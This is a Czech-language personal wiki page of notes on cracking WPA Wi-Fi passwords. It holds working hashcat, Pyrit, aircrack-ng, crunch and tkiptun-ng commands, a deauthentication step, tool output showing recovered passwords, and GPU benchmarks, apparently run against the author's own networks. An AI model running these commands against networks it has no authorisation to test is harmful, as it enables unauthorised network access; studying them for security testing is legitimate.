===== WPA crack ===== ==== Úvod ==== * v dnesni dobe lze utocit pomoci slovnikoveho utoku na WPA * s pouzitim CPU + GPU * Intel i5 7600k + 3060 TI asi 220k klicu/s v Pyrit * Intel i5 7600k + 3060 TI asi 530k klicu/s v Hashcat * je realne dekodovat ciselny retezec 8-9 znaku * 8 čísel (10^8) cca 3 minuty * 9 čísel (10^9) cca 30 minut * nerealne dekodovat alfa znaky 8+ * 8 malých písmen (26^8) cca 4.5 dne * nejprve je potřeba zachytit handshake * existuje ale i nová (2018) varianta útoku, zachycení PMKID, která nevyžaduje připojeného klienta * https://www.hackers-arise.com/post/wi-fi-hacking-part-11-the-pmkid-attack * https://kalitut.com/pmkid-attack/ * aircrack to umí od verze 1.6? * tkiptun-ng utok... * nutno pouzit verzi alespon Aircrack-ng 1.0 rc2 r1396 * musi byt pripojeny klient, dobry signaly atd... * testovane signaly.. AP pwr 40, klient 10-20 * útok přes [[WPS]] * online služba na crack WPA * https://wpa-sec.stanev.org/?nets * zdarma, pro vedecke ucely * [[https://gpuhash.me|gpuhash.me]] * basic sada je zdarma, trvá 15 minut, platí se pouze pokud nalezne heslo * WPA handshake capture + offline crack * [[https://hashcat.net/forum/thread-7717.html|PMKID hash capture]] + offline crack * nástroje * Pyrit * crack WPA handshake (PMK) na CPU/GPU ze slovníku * závisí na Python 2.x a scapy pro Python 2.x, takže je není už moc použitelný * aircrack * aircrack-ng - crack WPA handshake (PMK) na CPU se slovníku * airodump-ng - capture pcap with WPA handshake * airreplay-ng - deauth attack * hashcat (oclHashCat, oclHashCat-plus) * určeno pro crack různých hash * integrovaný generátor hesel podle předpisu * na i5-7600k + 3060 TI je 2x rychlejší než pyrit (221 kH/s vs 533 kH/s) * Wifite - framework v python pro jednodušší útok ==== HashCat ==== * původně byl hashcat pro CPU a oclhashcat pro GPU, teď je všechno asi v jednom hashcat * nejprve je třeba převést .cap soubor na soubor s hash * .hccap - první binární formát (lze vytvořit přes parametr -J u aircrack) * .hccapx - novější binární formát (lze vytvořit přes parametr -J u aircrack) * .hc22000 - aktuální plaintext formát * lze vygenerovat programem hcxpcapngtool z hcxtools hcxpcapngtool Patrik-01.cap -o Patrik.hc22000 * alternativně lze použít [[https://hashcat.net/cap2hashcat/|online cap2hashcat]] konvertor * režimy * režim 2500 už nejde vůbec spustit, je nahrazen 22000 * rozdíl mezi 22000 a 22001 je v tom, že první počítá hashe a druhý jen ověřuje hashe (předpočítané pro dané ssid) hashcat --help | grep WPA 2500 | WPA-EAPOL-PBKDF2 | Network Protocol 2501 | WPA-EAPOL-PMK | Network Protocol 22000 | WPA-PBKDF2-PMKID+EAPOL | Network Protocol 22001 | WPA-PMK-PMKID+EAPOL | Network Protocol 16800 | WPA-PMKID-PBKDF2 | Network Protocol 16801 | WPA-PMKID-PMK | Network Protocol * spuštění * -m volba režimu (hashe) * -w optimalizace, výkon se mi na i5-7600k + 3060 TI zvýšil z cca 513 kH/s na 533 kH/s * -a volba útoku, číslo 3 je bruteforce * ?d zastupuje symboly 0-9 hashcat -m 22000 -w3 Patrik.hc22000 -a3 ?d?d?d?d?d?d?d?d hashcat -m 22000 -w3 Patrik.hc22000 ../../WPA-utok/slovniky/alls_final * výsledek se vypíše na obrazovku a uloží do potfile * pro opakování je třeba potfile smazat rm /home/djbuldog/.local/share/hashcat/hashcat.potfile ==== Pyrit ==== * vyzaduje python > 2.5 !!! :) * lze instalovat i bez roota, pokud jsou v systemu prerekvizity :) * utok pomoci slovniku: pyrit -r -i attack_passthrough * brute force utok na cisla delky 8: crunch 8 8 0123456789 | pyrit -r -i - attack_passthrough * crack pres sit.. * vsichni, kdo poskytuji HW si spusti pyrit serve. * Hlavni kompl spusti jen pyrit s parametry utoku. * V konfiguracnim souboru .pyrit/config musi vypsat vsechny klienty do parametru rpc_knownclients. * Pokud se spusti pyrit jako serve a ma nejake klienty v tomto konfiguracnim souboru, okamzite se je snazi kontaktovat a predavat jim ukoly => hierarchicka struktura. * Pocitace musi mit verejne IP adresy (jak klienti tak master computer). === Příklady === Pharaon:/home/djbuldog# crunch 8 8 0123456789 | pyrit -r Projekty/wifi-net-attack/mama-net/tmp/TP-LINK_E7A6D4-01.cap -i - attack_passthrough Crunch will now generate the following amount of data: 900000000 bytes 858 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 100000000 Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Parsing file 'Projekty/wifi-net-attack/mama-net/tmp/TP-LINK_E7A6D4-01.cap' (1/1)... Parsed 1915 packets (1915 802.11-packets), got 1 AP(s) Picked AccessPoint 40:3f:8c:7c:8b:a0 ('TP-LINK_E7A6D4') automatically. Tried 71483574 PMKs so far; 194428 PMKs per second. 71463573 The password is '71453248'. === Benchmark === * benchmark se spousti: pyrit benchmark * na phraraonu s grafikou (AMD 4x3.0GHz, Nvidia 560) Computed 19081.24 PMKs/s total. #1: 'CUDA-Device #1 'GeForce GTX 560'': 19891.8 PMKs/s (RTT 2.8) #2: 'CPU-Core (SSE2)': 493.4 PMKs/s (RTT 3.0) #3: 'CPU-Core (SSE2)': 476.0 PMKs/s (RTT 3.2) #4: 'CPU-Core (SSE2)': 450.5 PMKs/s (RTT 3.2) * na pharaonu bez grafiky (AMD 4x3.0GHZ) Computed 2462.46 PMKs/s total. #1: 'CPU-Core (SSE2)': 681.5 PMKs/s (RTT 3.0) #2: 'CPU-Core (SSE2)': 669.4 PMKs/s (RTT 2.9) #3: 'CPU-Core (SSE2)': 663.1 PMKs/s (RTT 2.9) #4: 'CPU-Core (SSE2)': 593.1 PMKs/s (RTT 3.0) * na starem pharaonu mam vysledky: #1: 'CUDA-Device #1 'GeForce 9600 GT'': 3461.1 PMKs/s (RTT 2.9) #2: 'CPU-Core (SSE2)': 161.9 PMKs/s (RTT 3.0) * na pharaonu starem bez externi GPU #1: 'CPU-Core (SSE2)': 252.4 PMKs/s (RTT 2.9) #2: 'CPU-Core (SSE2)': 251.6 PMKs/s (RTT 3.0) * na 8 jadrovem harmoniu: #1: 'CPU-Core (SSE2)': 671.7 PMKs/s (RTT 3.0) #2: 'CPU-Core (SSE2)': 672.3 PMKs/s (RTT 3.0) #3: 'CPU-Core (SSE2)': 658.5 PMKs/s (RTT 2.9) #4: 'CPU-Core (SSE2)': 672.1 PMKs/s (RTT 3.0) #5: 'CPU-Core (SSE2)': 658.3 PMKs/s (RTT 3.0) #6: 'CPU-Core (SSE2)': 669.2 PMKs/s (RTT 2.9) #7: 'CPU-Core (SSE2)': 672.5 PMKs/s (RTT 3.0) #8: 'CPU-Core (SSE2)': 672.6 PMKs/s (RTT 3.0) * na 2 osmijadrech spojenych po siti: Computed 9275.72 PMKs/s total. #1: 'CPU-Core (SSE2)': 671.7 PMKs/s (RTT 3.0) .. #8: 'CPU-Core (SSE2)': 672.6 PMKs/s (RTT 3.0) #9: 'Network-Clients': 3659.0 PMKs/s (RTT 1.3) * i5-7600k + 1070ti Computed 180179.24 PMKs/s total. #1: 'CPU-Core (SSE2)': 1033.0 PMKs/s (RTT 2.9) #2: 'CPU-Core (SSE2)': 1018.2 PMKs/s (RTT 2.9) #3: 'CPU-Core (SSE2)': 1041.3 PMKs/s (RTT 2.9) #4: 'CPU-Core (SSE2)': 1041.5 PMKs/s (RTT 2.9) CUDA: #1: 'CUDA-Device #1 'GeForce GTX 1070 Ti'': 195886.7 PMKs/s (RTT 0.7) ==== Slovníkový útok ==== * http://sourceforge.net/projects/crunch-wordlist/ * lze použit aircrack-ng * ve std. verzi podporuje pouze CPU (obe jadra) * nezaleží na konci řádků souboru, zda jsou CR+LF nebo jen LF * ukázka spuštění aircracku $ aircrack-ng ~/Desktop/handshake-NETGEARmt.cap \ -w ~/Desktop/slovniky/newbigslovnik_proWPA_paaswordy.net/cutted8uniqsortedall_unix * lze použít piryt * podporuje CPU (obe jadra) + GPU (CUDA, stream a dokonce i jen OpenGL) + LAN (vice klientu) * nezaleží na konci řádků souboru, zda jsou CR+LF nebo jen LF * ukázka pyrit $ pyrit -r ~/Desktop/handshake-NETGEARmt.cap \ -i ~/Desktop/slovniky/newbigslovnik_proWPA_paaswordy.net/cutted8uniqsortedall_unix \ attack_passthrough Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file '/home/djbuldog/Desktop/handshake-NETGEARmt.cap' (1/1)... 1634 packets (1634 802.11-packets), 1 APs Picked AccessPoint 00:22:3f:14:e5:ba ('NETGEARmt') automatically. Tried 200010 PMKs so far; 4711 PMKs per second. The password is 'computer'. ==== tkiptun-ng ==== /tmp/x/usr/sbin/tkiptun-ng -a 00:22:3F:14:E5:BA -m 80 -n 100 ath0 -h 00:1D:E0:88:B9:7B * prubeh root@HomeGuard:~# /tmp/x/usr/sbin/tkiptun-ng -a 00:22:3F:14:E5:BA -m 80 -n 100 a th0 -h 00:1D:E0:88:B9:7B Blub 2:38 E6 38 1C 24 15 1C CF Blub 1:17 DD 0D 69 1D C3 1F EE Blub 3:29 31 79 E7 E6 CF 8D 5E 08:31:55 Michael Test: Successful 08:31:55 Waiting for beacon frame (BSSID: 00:22:3F:14:E5:BA) on channel 11 08:31:55 Found specified AP 08:31:55 Sending 4 directed DeAuth. STMAC: [00:1D:E0:88:B9:7B] [ 0| 2 ACKs] 08:32:01 Sending 4 directed DeAuth. STMAC: [00:1D:E0:88:B9:7B] [ 0| 4 ACKs] 08:32:01 WPA handshake: 00:22:3F:14:E5:BA captured 08:32:02 Waiting for an ARP packet coming from the Client... Read 12634 packets... * no a vic to nic nedelaa :) asi mi zdrhl arp packet, bo [[http://airdump.cz/tkiptun-ng-prvni-implementace-utoku-na-wpa-tkip|tady]] to trvalo jen chvilec ==== TODO ==== * jak nainstalovat balicky (novy aircrack) v openwrt na flash? .. offline .. djbuldog@Pharaon:~$ scp /mnt/diskD/downloads/wpa-supplicant_0.6.3-1.1_mipsel.ipk gate2:/tmp/ wpa-supplicant_0.6.3-1.1_mipsel.ipk 100% 197KB 197.2KB/s 00:00 root@HomeGuard:~# opkg install -o /mnt/usb0/ /tmp/wpa-supplicant_0.6.3-1.1_mipse l.ipk Installing wpa-supplicant (0.6.3-1.1) to root... Configuring wpa-supplicant * kde jsem sehnal slovniky, jak jsem z nich udelal jeden (presunout z bash) * otestovat tkiptun-ng utok uz konecne :-D * pridat do openwrt scriptu podporu pro wpa